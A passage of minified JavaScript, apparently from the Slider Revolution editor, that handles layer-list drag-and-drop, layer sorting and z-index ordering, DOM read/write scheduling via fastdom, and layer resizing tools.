0,RVS.S.DaD.dragInListTempPos=RVS.L[this.dataset.id].position.position,"column"===this.dataset.type&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+this.dataset.puid).find("."+e.cIdName+"_column").each(s),"row"===this.dataset.type&&jQuery("."+e.cIdName+"_row").each(s),r.length>0&&r.hasClass("ps--active-y")&&RVS.F.layerListScrollable("update"),setTimeout(function(){n(e)},50),d=setInterval(function(){r.length>0&&r.hasClass("ps--active-y")&&(a=l.offset().top,S<a+r[0].scrollTop+20&&r[0].scrollTop>0?(r[0].scrollTop--,n(e)):S>parseInt(a,0)+parseInt(i,0)+r[0].scrollTop-20&&r[0].scrollTop<i&&(r[0].scrollTop++,n(e)))},5)}else jQuery(this).draggable("disable")},drag:function(i,a){if("zone"!=this.dataset.type){var r=l({y:i.pageY});if(S=i.pageY,!1!==r&&(jQuery("."+e.cIdName).removeClass("beforeitemdrop").removeClass("afteritemdrop").removeClass("incolumntopdrop").removeClass("incolumndrop").removeClass("afterzonedrop"),jQuery(".grouptodropinlist").removeClass("grouptodropinlist"),RVS.S.llcache[RVS.S.slideId][e.cacheSub].classList.remove("sortToTheEnd"),i.pageY<t[1].y||!0===r.found)){var s="";switch(r.cover=r.cover<-18?0:r.cover,this.dataset.type){case"row":-1===r.puid&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+r.id).addClass("incolumndrop"),"top"!==r.puid&&"bottom"!==r.puid&&"middle"!==r.puid||(s=r.cover<18?"beforeitemdrop":"afteritemdrop"),"top"!==r.id&&"bottom"!==r.id&&"middle"!==r.id||(s=r.cover<18&&"top"!==r.id?"beforeitemdrop":"afteritemdrop");break;case"column":jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+this.dataset.puid).addClass("incolumndrop"),r.puid===this.dataset.puid&&(s=r.cover<18?"beforeitemdrop":"afteritemdrop");break;default:if("zone"!==r.type&&"row"!==r.type){-1!==r.puid&&"zone"!==r.type&&"column"!==r.type&&"row"!==r.type&&"group"!==r.type&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+r.puid).addClass("incolumndrop");var o=RVS.F.isParent(this.dataset.id,r.id);s="group"==this.dataset.type&&o?"":"group"==this.dataset.type&&"group"==r.type&&"-1"!==r.puid?r.cover<12?"beforeitemdrop":"":"group"==this.dataset.type&&""+r.puid!="-1"&&void 0!==RVS.L[r.puid]&&""+RVS.L[r.puid].group.puid!="-1"?"":"group"!=r.type||RVS.F.hasChildren(r.id)?r.cover<18?"column"!==r.type?"beforeitemdrop":"afteritemdrop":"row"!==r.type&&"column"!==r.type&&"group"!==r.type?"afteritemdrop":"column"===r.type||"group"===r.type?"incolumntopdrop":s:r.cover<12?"beforeitemdrop":r.cover>11&&r.cover<24?"incolumntopdrop":"afteritemdrop"}else r.cover<18&&"zone"===r.type&&"top"===r.id&&(s="beforeitemdrop"),"zone"===r.type&&"bottom"===r.id&&(s="afterzonedrop")}var n,d=document.getElementById(e.cIdName+"_"+RVS.S.slideId+"_"+r.id);"group"!==r.type&&"column"!==r.type&&"-1"!==r.puid&&"column"==RVS.L[r.puid].type||"column"==r.type&&"column"==this.dataset.type?null!=(n=document.getElementById(e.cIdName+"_"+RVS.S.slideId+"_"+r.puid))&&n.classList.add("grouptodropinlist"):"column"==r.type&&"group"!==this.dataset.type&&null!=(n=document.getElementById(e.cIdName+"_"+RVS.S.slideId+"_"+r.id))&&n.classList.add("grouptodropinlist"),""+r.puid!="-1"&&"group"==this.dataset.type&&void 0!==RVS.L[r.puid]&&(""+RVS.L[r.puid].group.puid!="-1"||"beforeitemdrop"!==s&&"afteritemdrop"!==s)||(""+r.puid=="-1"||"group"!=RVS.L[r.puid].type||"group"===r.type&&"beforeitemdrop"!=s&&"group"!=this.dataset.type?s.indexOf("incolumntopdrop")>=0&&"group"==r.type&&d.classList.add("grouptodropinlist"):null!=(n=document.getElementById(e.cIdName+"_"+RVS.S.slideId+"_"+r.puid))&&n.classList.add("grouptodropinlist")),""!==s&&void 0!==d&&d.classList.add(s)}}},stop:function(i,a){if("zone"!=this.dataset.type){var r=this.dataset.id;RVS.TL.TL.removeClass("layer_in_drag"),clearInterval(d),jQuery("."+e.cIdName).removeClass("beforeitemdrop").removeClass("afteritemdrop").removeClass("incolumntopdrop").removeClass("incolumndrop"),RVS.S.llcache[RVS.S.slideId][e.cacheSub].classList.remove("sortToTheEnd"),jQuery(".grouptodropinlist").removeClass("grouptodropinlist"),"column"===this.dataset.type&&jQuery("#"+e.cIdName+"_"+RVS.S.slideId+"_"+this.dataset.puid).find("."+e.cIdName+"_column").each(o),"row"===this.dataset.type&&jQuery("."+e.cIdName+"_row").each(o);var s,n=l({y:i.pageY});if(!1!==n){if(i.pageY<t[1].y||!0===n.found){s="";switch(this.dataset.type){case"row":"top"!==n.puid&&"bottom"!==n.puid&&"middle"!==n.puid||(s=n.cover<18?"before":"after"),n.cover>=18&&("top"===n.id||"bottom"===n.id||"middle"===n.id)&&(s="zone"),n.cover<18&&"middle"===n.id&&(n.id="top",s="zonebottom"),n.cover<18&&"bottom"===n.id&&(n.id="middle",s="zonebottom");break;case"column":n.puid===this.dataset.puid&&(s=n.cover<18?"before":"after");break;default:var S=RVS.F.isParent(r,n.id);s="group"==this.dataset.type&&S?s:"group"==this.dataset.type&&"group"==n.type&&"-1"!==n.puid?n.cover<17?"before":"":"group"!=n.type||RVS.F.hasChildren(n.id)?n.cover<18&&"column"!==n.type&&"row"!==n.type&&("zone"!==n.type||"top"===n.id)?"before":n.cover<18&&"column"===n.type?"column":n.cover>17&&"row"!==n.type&&"column"!==n.type&&"group"!==n.type&&"zone"!==n.type?"after":n.cover>17&&"column"===n.type?"column":n.cover>17&&"group"===n.type?"group":-1!=n.puid&&"bottom"!==n.puid||"zone"!==n.type?s:"after":n.cover<12?"before":n.cover>11&&n.cover<24?"group":"after"}}else switch(this.dataset.type){case"row":case"column":break;default:s="after",n.id=function(e){var t,i=0;for(var a in e)e.hasOwnProperty(a)&&e[a].y>=i&&(t=e[a],i=e[a].y);return t}(t).id}"absolute"==RVS.S.DaD.dragInListTempPos&&"column"===s&&"column"!==RVS.S.DaD.dragInListFromType&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+r+".position.position",val:"relative",uid:r}),""!==s&&RVS.F.sortLayer({layer:r,target:s,dropto:s,env:n.id}),RVS.F.updateLayerPositionClass(r),RVS.F.selectedLayersVisualUpdate()}}},revert:"true"})}({container:"#tl_layerList_"+RVS.S.slideId,cacheSub:"tlLayerList",cIdName:"tllayerlist_element"}),RVS.F.updateCollapsedGroups(),RVS.F.checkLockedLayers(),RVS.F.checkShowHideLayers()},RVS.F.updateRelAbsZinTXT=function(e){void 0===e&&RVS.L[void 0!==e]||requestAnimationFrame(function(){RVS.H[e].relabszin=void 0===RVS.H[e].relabszin?document.getElementById("layer_raz_info_"+RVS.S.slideId+"_"+e):RVS.H[e].relabszin,RVS.H[e].relabszin.innerHTML=RVS.L[e].position.position+" <b>"+(RVS.L[e].position.zIndex<10?"0":"")+RVS.L[e].position.zIndex+'</b><label_icon class="ui_free_layers"></label_icon>'})},RVS.F.sortLayerStepOne=function(e){if(e.env!==e.layer){var t="#tllayerlist_element_"+RVS.S.slideId+"_",i=jQuery(t+e.layer);switch(e.target){case"after":"group"==RVS.L[e.layer].type&&RVS.F.getLayerDepth({layer:e.env})>1&&(e.env=null==RVS.L[RVS.L[e.env].group.puid]||"column"!==RVS.L[RVS.L[e.env].group.puid].type?RVS.L[e.env].group.puid:e.env),"row"!==RVS.L[e.layer].type&&"row"===RVS.L[e.env].type?i.appendTo("#tl_layerList_"+RVS.S.slideId):i.insertAfter(t+e.env);break;case"before":"group"==RVS.L[e.layer].type&&RVS.F.getLayerDepth({layer:e.env})>1&&(e.env=null==RVS.L[RVS.L[e.env].group.puid]||"column"!==RVS.L[RVS.L[e.env].group.puid].type?RVS.L[e.env].group.puid:e.env),"row"!==RVS.L[e.layer].type&&"row"===RVS.L[e.env].type?i.appendTo("#tl_layerList_"+RVS.S.slideId):i.insertBefore(t+e.env);break;case"zone":RVS.L[e.env].group.puid!==e.env&&i.prependTo(t+e.env+">ul");break;case"zonebottom":"row"==RVS.L[e.layer].type?RVS.L[e.env].group.puid!==e.env&&i.appendTo(t+e.env+">ul"):i.appendTo("#tl_layerList_"+RVS.S.slideId);break;case"firstingroup":case"group":case"column":i.prependTo(t+e.env+">ul");break;case"columnend":i.appendTo(t+e.env+">ul");break;case"veryend":"row"==RVS.L[e.layer].type?i.appendTo(t+"bottom>ul"):i.appendTo("#tl_layerList_"+RVS.S.slideId)}}},RVS.F.sortLayerStepTwo=function(e){if("column"===e.dropto&&"absolute"!==e.pospos&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.x.#size#.v",val:0}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.y.#size#.v",val:0}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.horizontal.#size#.v",val:"left"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.vertical.#size#.v",val:"top"})),void 0!==e.resetPosition&&("group"===e.dropto||"root"===e.dropto||"column"===e.dropto&&"absolute"==e.pospos)){"root"===e.dropto&&(RVS.L[e.layer].position.ingrouppositoin=RVS.L[e.layer].position.position,RVS.L[e.layer].position.position="absolute");var t=e.resetPosition.x-RVS.H[e.layer].w_offsetcache.horizontal,i=e.resetPosition.y-RVS.H[e.layer].w_offsetcache.vertical;RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.x.#size#.v",val:t}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.y.#size#.v",val:i}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.horizontal.#size#.v",val:"left"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.layer+".position.vertical.#size#.v",val:"top"})}},RVS.F.sortAllSelectedLayers=function(e){var t,i=jQuery.extend({},e),a=RVS.selLayers.length-1;for(t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(i.layer=RVS.selLayers[a-t],"row"!==RVS.L[i.layer].type&&"column"!==RVS.L[i.layer].type&&"groupi"!==RVS.L[i.layer].type&&RVS.F.sortLayerStepOne(i));for(t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(i.layer=RVS.selLayers[a-t],i.positionoffset=t,"row"!==RVS.L[i.layer].type&&"column"!==RVS.L[i.layer].type&&"groupi"!==RVS.L[i.layer].type&&RVS.F.sortLayerStepTwo(i));d(),RVS.F.updateZIndexTable(),RVS.F.reOrderHTMLLayers()},RVS.F.sortLayer=function(e){RVS.F.sortLayerStepOne(e),setTimeout(function(){RVS.F.openBackupGroup({id:"layersorting",txt:"Layer Sorting",icon:"sort_by_alpha"}),RVS.F.sortLayerStepTwo(e),d(),RVS.F.updateZIndexTable(),RVS.F.closeBackupGroup({id:"layersorting"}),RVS.F.reOrderHTMLLayers(),e.redraw&&RVS.F.updateSelectedHtmlLayers(!0),RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateLayerPositionClass(e.uid),RVS.F.selectedLayersVisualUpdate()},50)},RVS.F.getChildrenAmount=function(e){var t=RVS.F.getLayerChildren({layerid:"root"==e?"-1":e,ignoreframes:!0,onelevel:!0,removeZones:!0}),i=0;for(var a in t)t.hasOwnProperty(a)&&i++;return i},RVS.F.updateZIndexTable=function(e){var t=jQuery("#tl_layerList_"+RVS.S.slideId+" .layerlist_element"),i={};for(var a in t){var r;if(t.hasOwnProperty(a)&&void 0!==t[a]&&void 0!==t[a].dataset&&void 0!==t[a].dataset.id)i[r="-1"==(r=RVS.L[t[a].dataset.id].group.puid)||-1===r?"root":r]=void 0===i[r]?{min:0,max:RVS.F.getChildrenAmount(r)+5}:i[r],RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t[a].dataset.id+".position.zIndex",val:i[r].max}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t[a].dataset.id+".group.groupOrder",val:"root"==r||void 0!==RVS.L[r]&&"group"===RVS.L[r].type?i[r].max:i[r].min}),"zone"!==RVS.L[t[a].dataset.id].type&&tpGS.gsap.set(RVS.H[t[a].dataset.id].w,{zIndex:i[r].max}),i[r].max--,i[r].min++}RVS.F.updateZoneZIndexes()}}(),function(e){"use strict";function t(){var t=this;t.reads=[],t.writes=[],t.raf=s.bind(e)}function i(e){e.scheduled||(e.scheduled=!0,e.raf(function(e){var t,r=e.writes,s=e.reads;try{s.length,a(s),r.length,a(r)}catch(e){t=e}if(e.scheduled=!1,(s.length||r.length)&&i(e),t){if(t.message,!e.catch)throw t;e.catch(t)}}.bind(null,e)))}function a(e){for(var t;t=e.shift();)t()}function r(e,t){var i=e.indexOf(t);return!!~i&&!!e.splice(i,1)}var s=e.requestAnimationFrame||e.webkitRequestAnimationFrame||e.mozRequestAnimationFrame||e.msRequestAnimationFrame||function(e){return setTimeout(e,16)};t.prototype={constructor:t,measure:function(e,t){var a=t?e.bind(t):e;return this.reads.push(a),i(this),a},mutate:function(e,t){var a=t?e.bind(t):e;return this.writes.push(a),i(this),a},clear:function(e){return r(this.reads,e)||r(this.writes,e)},extend:function(e){if("object"!=typeof e)throw new Error("expected object");var t=Object.create(this);return function(e,t){for(var i in t)t.hasOwnProperty(i)&&(e[i]=t[i])}(t,e),t.fastdom=this,t.initialize&&t.initialize(),t},catch:null};var o=e.fastdom=e.fastdom||new t;"function"==typeof define?define(function(){return o}):"object"==typeof module&&(module.exports=o)}("undefined"!=typeof window?window:this),
/*!
 * REVOLUTION 6.0.0 EDITOR LAYERTOOLS JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function(){RVS.RSCBA={a:["width","height","maxWidth","maxHeight","minWidth","minHeight"],ai:["layer_width","layer_height","layer_max_width","layer_max_height","layer_min_width","layer_min_height"],t:["fontSize","lineHeight","letterSpacing"],ti:["layer_font_size_idle","layer_line_height_idle","layer_letter_spacing_idle"],f:["transform","mask","chars","words","lines"],sh:["hoffset","voffset","blur","spread"]};var e,t,i=["horizontal","vertical","borderStyle","width","height","x","y","lineHeight","fontSize","color","textAlign","fontWeight","letterSpacing","blur","hoffset","voffset","spread","frameX","frameY","charsX","charsY","wordsX","wordsY","linesX","linesY","whiteSpace"];function a(e){var t="start";void 0!==e.container&&e.container.find(">"+e.type).each(function(){void 0!==RVS.L[e.uid].group.puid&&void 0!==RVS.L[this.dataset.uid].group.puid&&RVS.L[this.dataset.uid].group.puid==RVS.L[e.uid].group.puid&&RVS.L[this.dataset.uid].group.puid!=e.uid&&e.uid!==this.dataset.uid&&(t=void 0!==RVS.L[RVS.L[e.uid].group.puid]&&"group"===RVS.L[RVS.L[e.uid].group.puid].type?RVS.L[this.dataset.uid].group.groupOrder>RVS.L[e.uid].group.groupOrder&&void 0!==RVS.H[this.dataset.uid]?this.dataset.uid:t:RVS.L[this.dataset.uid].group.groupOrder<=RVS.L[e.uid].group.groupOrder&&void 0!==RVS.H[this.dataset.uid]?this.dataset.uid:t)}),"start"===t&&e.container?e.container[0].prepend(e.layer):RVS.H[t]&&RVS.F.insertAfter(e.layer,RVS.H[t].w[0])}function r(e){void 0!==e&&e.resizable({handles:"se",start:function(e,t){switch(RVS.L[RVS.selLayers[0]].type){case"text":case"button":RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_style",!0);break;default:RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_position",!0)}RVS.C.layergrid.addClass("layersInDragorResize"),RVS.F.doResizeLayers({mode:"init"}),window.lastReScalerWidth=RVS.H[RVS.selLayers[0]].w.width()},resize:function(e,t){var i=Math.round(t.size.width/t.originalSize.width*100)/100;i!==window.lastReScalerSize&&RVS.F.doResizeLayers({mode:"update",size:i}),window.lastReScalerSize=i},aspectRatio:!0,stop:function(e,t){var i=Math.round(t.size.width/t.originalSize.width*100)/100;RVS.F.doResizeLayers({mode:"set",size:i}),t.helper[0].style.width="100%",t.helper[0].style.height="100%",RVS.C.layergrid.removeClass("layersInDragorResize"),RVS.S.justresized=!0,setTimeout(function(){RVS.S.justresized=!1},100)}})}function s(e,t,i,a,r){var s;return void 0===t||"auto"==t||"none"==t||!RVS.F.isNumeric(parseInt(t,0))||!RVS.F.isNumeric(t)&&t.indexOf("%")>0?s=t:(s=Math[e](parseInt(t,0)*i),s=void 0===a?s:s+a),s}function o(e){var t={x:e.position.x[RVS.screen].v,y:e.position.y[RVS.screen].v,padding:jQuery.extend(!0,{},e.idle.padding[RVS.screen].v),borderRadius:jQuery.extend(!0,{},e.idle.borderRadius.v),width:e.size.width[RVS.screen].v,height:e.size.height[RVS.screen].v,minHeight:e.size.minHeight[RVS.screen].v,maxHeight:e.size.maxHeight[RVS.screen].v,minWidth:e.size.minWidth[RVS.screen].v,maxWidth:e.size.maxWidth[RVS.screen].v,wrap:e.idle.whiteSpace[RVS.screen].v,boxShadow:{hoffset:e.idle.boxShadow.hoffset[RVS.screen].v,voffset:e.idle.boxShadow.voffset[RVS.screen].v,blur:e.idle.boxShadow.blur[RVS.screen].v,spread:e.idle.boxShadow.spread[RVS.screen].v}};for(var i in jQuery.inArray(e.type,["text","button"])>=0&&(t.fontSize=e.idle.fontSize[RVS.screen].v,t.letterSpacing=e.idle.letterSpacing[RVS.screen].v,t.lineHeight=e.idle.lineHeight[RVS.screen].v),t.frames={},e.timeline.frames)t.frames[i]={transform:{x:e.timeline.frames[i].transform.x[RVS.screen].v,y:e.timeline.frames[i].transform.y[RVS.screen].v},mask:{x:e.timeline.frames[i].mask.x[RVS.screen].v,y:e.timeline.frames[i].mask.y[RVS.screen].v},chars:{x:e.timeline.frames[i].chars.x[RVS.screen].v,y:e.timeline.frames[i].chars.y[RVS.screen].v},words:{x:e.timeline.frames[i].words.x[RVS.screen].v,y:e.timeline.frames[i].words.y[RVS.screen].v},lines:{x:e.timeline.frames[i].lines.x[RVS.screen].v,y:e.timeline.frames[i].lines.y[RVS.screen].v}};return t}function n(e){var t=RVS.L[e.layerid],i=RSCBS[e.layerid],a=RVS.S.slideId+".layers."+e.layerid;if(jQuery.inArray(t.type,["text","button"])>=0)for(var r in RVS.RSCBA.t)RVS.F.updateSliderObj({path:a+".idle."+RVS.RSCBA.t[r]+"."+RVS.screen+".v",val:s("round",i[RVS.RSCBA.t[r]],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(var r in RVS.RSCBA.a)RVS.F.updateSliderObj({path:a+".size."+RVS.RSCBA.a[r]+"."+RVS.screen+".v",val:s("round",i[RVS.RSCBA.a[r]],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(var o=0;o<4;o++)RVS.F.updateSliderObj({path:a+".idle.padding."+RVS.screen+".v."+o,val:s("round",i.padding[o],e.size),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});if(!0===t.idle.boxShadow.inuse)for(var r in RVS.RSCBA.sh)RVS.F.updateSliderObj({path:a+".idle.boxShadow."+RVS.RSCBA.sh[r]+"."+RVS.screen+".v",val:s("round",i.boxShadow[RVS.RSCBA.sh[r]],e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});for(o in RVS.L[e.layerid].timeline.frames)for(var r in RVS.RSCBA.f)RVS.F.updateSliderObj({path:a+".timeline.frames."+o+"."+RVS.RSCBA.f[r]+".x."+RVS.screen+".v",val:s("round",i.frames[o][RVS.RSCBA.f[r]].x,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup}),RVS.F.updateSliderObj({path:a+".timeline.frames."+o+"."+RVS.RSCBA.f[r]+".y."+RVS.screen+".v",val:s("round",i.frames[o][RVS.RSCBA.f[r]].y,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup});e.ingroup&&(RVS.F.updateSliderObj({path:a+".position.x."+RVS.screen+".v",val:s("round",i.x,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup}),RVS.F.updateSliderObj({path:a+".position.y."+RVS.screen+".v",val:s("round",i.y,e.size,"px"),ignoreResponsive:e.ignoreResponsive,ignoreBackup:e.ignoreBackup})),RVS.F.drawHTMLLayer({uid:e.layerid}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_style"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_advstyle"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery("#form_layer_position"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.DOC.trigger("layerresized",{layerid:e.layerid})}function l(e){var t=RVS.L[e.layerid],i=RSCBS[e.layerid];if(RVS.cC=void 0===RVS.cC?{}:RVS.cC,jQuery.inArray(t.type,["text","button"])>=0)for(var a in RVS.RSCBA.t)t.idle[RVS.RSCBA.t[a]][RVS.screen].v=s("round",i[RVS.RSCBA.t[a]],e.size),RVS.cC["js_"+RVS.RSCBA.t[a]]=void 0===RVS.cC["js_"+RVS.RSCBA.t[a]]?document.getElementById(RVS.RSCBA.ti[a]):RVS.cC["js_"+RVS.RSCBA.t[a]],RVS.cC["js_"+RVS.RSCBA.t[a]].value=t.idle[RVS.RSCBA.t[a]][RVS.screen].v+"px";for(var a in RVS.RSCBA.a)t.size[RVS.RSCBA.a[a]][RVS.screen].v=s("width"===RVS.RSCBA.a[a]?"ceil":"round",i[RVS.RSCBA.a[a]],e.size),RVS.cC["js_"+RVS.RSCBA.a[a]]=void 0===RVS.cC["js_"+RVS.RSCBA.a[a]]?document.getElementById(RVS.RSCBA.ai[a]):RVS.cC["js_"+RVS.RSCBA.a[a]],RVS.cC["js_"+RVS.RSCBA.a[a]].value=t.size[RVS.RSCBA.a[a]][RVS.screen].v+(RVS.F.isNumeric(t.size[RVS.RSCBA.a[a]][RVS.screen].v)?"px":"");if(!0===t.idle.boxShadow.inuse)for(var a in RVS.RSCBA.sh)t.idle.boxShadow[RVS.RSCBA.sh[a]][RVS.screen].v=s("round",i.boxShadow[RVS.RSCBA.sh[a]],e.size,"px");for(var r=0;r<4;r++)t.idle.padding[RVS.screen].v[r]=s("round",i.padding[r],e.size);e.ingroup&&(t.position.x[RVS.screen].v=s("round",i.x,e.size,"px"),t.position.y[RVS.screen].v=s("round",i.y,e.size,"px")),RVS.F.drawHTMLLayer({uid:e.layerid,ignoreLayerAnimation:!0})}function d(e){RVS.H[e].w[0].className=RVS.H[e].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("").split("drop_after_layer").join("").split("drop_before_layer").join("").split("drop_before_firstlayer").join("").split("drop_after_lastlayer").join("")}function S(){var e=void 0!==RVS.S.DaD.target?RVS.S.DaD.target.into:"free";"column"===e||"group"===e?(void 0!==RVS.S.DaD.target&&(RVS.C.layergrid[0].classList.remove("drop_in_root"),void 0!==RVS.S.DaD.target.rowID&&"group"!==RVS.S.DaD.target.rowID&&(RVS.H[RVS.S.DaD.target.rowID].w[0].className+=" dont_blur drop_over_layer"),void 0!==RVS.S.DaD.target.columnID&&(RVS.H[RVS.S.DaD.target.columnID].w[0].className+=" dont_blur drop_over_layer","none"!==RVS.SLIDER.settings.snap.adjust&&RVS.F.clearSnapVisual(),void 0===RVS.S.DaD.target.elementID&&"relative"===RVS.L[RVS.S.DaD.currentLayerId].position.position&&(RVS.S.DaD.target.columnTop?RVS.H[RVS.S.DaD.target.columnID].w[0].classList.add("drop_before_firstlayer"):RVS.H[RVS.S.DaD.target.columnID].w[0].classList.add("drop_after_lastlayer"))),void 0!==RVS.S.DaD.target.elementID&&"absolute"!==RVS.S.DaD.draggedPosType&&(RVS.S.DaD.target.elementBefore?RVS.H[RVS.S.DaD.target.elementID].w[0].classList.add("drop_before_layer"):RVS.H[RVS.S.DaD.target.elementID].w[0].classList.add("drop_after_layer"))),"column"==RVS.S.DaD.target.columnType&&0==RVS.S.DaD.showInMini&&"absolute"!==RVS.S.DaD.draggedPosType&&(RVS.S.DaD.showInMini=!0,tpGS.gsap.set(RVS.S.DaD.uiHelper,{left:(RVS.S.mP.left-RVS.S.layer_grid_offset.left)/RVS.zoom,top:(RVS.S.mP.top-RVS.S.layer_grid_offset.top)/RVS.zoom}),tpGS.gsap.to(RVS.S.DaD.uiHelper,.3,{transformOrigin:"0 0",width:RVS.S.DaD.originalWidth,display:RVS.L[RVS.S.DaD.currentLayerId].idle.display,opacity:.75,scale:.6}))):"free"===e&&(RVS.S.DaD.showInMini&&1==RVS.S.DaD.showInMini&&tpGS.gsap.to(RVS.S.DaD.uiHelper,.3,{width:RVS.L[RVS.S.DaD.currentLayerId].size.width[RVS.screen].v,display:"block",scale:1}),RVS.S.DaD.showInMini=!1,void 0!==RVS.S.DaD.target&&(RVS.C.layergrid.addClass("drop_in_root"),void 0!==RVS.S.DaD.target.rowID&&-1!==RVS.S.DaD.target.rowID&&"group"!==RVS.S.DaD.target.rowID&&(RVS.H[RVS.S.DaD.target.rowID].w[0].className=RVS.H[RVS.S.DaD.target.rowID].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),void 0!==RVS.S.DaD.target.columnID&&(RVS.H[RVS.S.DaD.target.columnID].w[0].className=RVS.H[RVS.S.DaD.target.columnID].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("").split("drop_before_firstlayer").join("").split("drop_after_lastlayer")),void 0!==RVS.S.DaD.target.elementID&&(RVS.H[RVS.S.DaD.target.elementID].w[0].className=RVS.H[RVS.S.DaD.target.elementID].w[0].className.split("drop_after_layer").join("").split("drop_before_layer").join("")),-1!==RVS.S.DaD.lastRegisteredRow&&"group"!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.lastRegisteredRow&&(RVS.H[RVS.S.DaD.lastRegisteredRow].w.className+=" dont_blur drop_over_layer")))}function c(){for(var e in RVS.H)delete RVS.H[e].coor}function p(e){var t=jQuery(e.id);t.addClass("selected"),jQuery(e.remove).removeClass("selected"),jQuery("#toolkit_selector_ph_icon").html(t[0].dataset.toolkiticon),jQuery("#toolkit_selector_ph_icon_sub").html(t[0].dataset.toolkiticonsub),e.multi&&0===jQuery("#selectbydraw").length?jQuery("#rev_slider_ul").append('<div id="selectbydraw"></div>'):e.multi||jQuery("#selectbydraw").remove(),window.RS_sel_and_add=e.add}RVS.F.initLayerTools=function(){RVS.DOC.on("addImportedLayers",function(e,t){}),RVS.DOC.on("copyhoversettings",function(e,t){if(0!==RVS.selLayers.length&&(void 0===t||"checkiffirst"!==t||!0!==RVS.L[RVS.selLayers[0]].hover.copied)){for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]];a.hover.copied=!0,a.hover.backgroundColor=a.idle.backgroundColor,a.hover.borderColor=a.idle.borderColor,a.hover.color=a.idle.color[RVS.screen].v,a.hover.borderRadius=jQuery.extend(!0,{},a.idle.borderRadius),a.hover.borderStyle=a.idle.borderStyle[RVS.screen].v,a.hover.borderWidth=a.idle.borderWidth.map(e=>e),RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.updateEasyInputs({container:jQuery("#form_layer_hover"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})}}),RVS.DOC.on("click",".add_linebreak",function(){var e=new Array;for(var t in RVS.F.openBackupGroup({id:"addLineBreak",txt:"Add LineBreak",icon:"add",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&e.push(RVS.selLayers[t]);for(t in e)if(e.hasOwnProperty(t)&&-1!==RVS.L[e[t]].group.puid&&("column"===RVS.L[RVS.L[e[t]].group.puid].type||"group"===RVS.L[RVS.L[e[t]].group.puid].type)){var i=RVS.F.addLayer({type:"linebreak",forceSelect:!1,subtype:this.dataset.subtype,libevent:this.dataset.libevent,libfilters:this.dataset.libfilters});RVS.F.intelligentUpdateValuesOnLayer(i),RVS.F.sortLayer({layer:""+i,target:this.dataset.pos,env:""+e[t]})}RVS.F.closeBackupGroup({id:"addLineBreak",txt:"Add LineBreak",icon:"add",lastkey:"layer"})}),RVS.DOC.on("updateRowPosition",function(e,t){if(null!=t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i))if("row"===RVS.L[RVS.selLayers[i]].type)RVS.L[RVS.selLayers[i]].group.puid!==t.val&&RVS.F.sortLayer({layer:RVS.selLayers[i],target:"zone",env:t.val});else if("column"===RVS.L[RVS.selLayers[i]].type){var a=RVS.L[RVS.selLayers[i]].group.puid;RVS.L[a].group.puid!==t.val&&RVS.F.sortLayer({layer:a,target:"zone",env:t.val})}}),RVS.DOC.on("click","#import_layers",function(){return RVS.F.openObjectLibrary({types:["modules"],filter:"all",selected:["modules"],context:"editor",depth:"layers",updatelist:!1,staticalso:!0,success:{layers:"addImportedLayers"}}),!1}),RVS.DOC.on("click","#add_from_layerlibrary",function(){return RVS.F.openObjectLibrary({types:["layers"],filter:"all",selected:["layers"],context:"editor",depth:"grouplayers",success:{layers:"addLayerLibrary"}}),!1}),RVS.DOC.on("click",".colselector",function(){jQuery("#row_column_structure").val(this.dataset.col).change()}),RVS.DOC.on("click","._group_lock_toggle_",function(){RVS.L[this.dataset.uid].group.locked=void 0===RVS.L[this.dataset.uid].group.locked||!RVS.L[this.dataset.uid].group.locked,RVS.F.updateGroupLocks()}),RVS.DOC.on("update blur change","#row_column_structure",function(){if(void 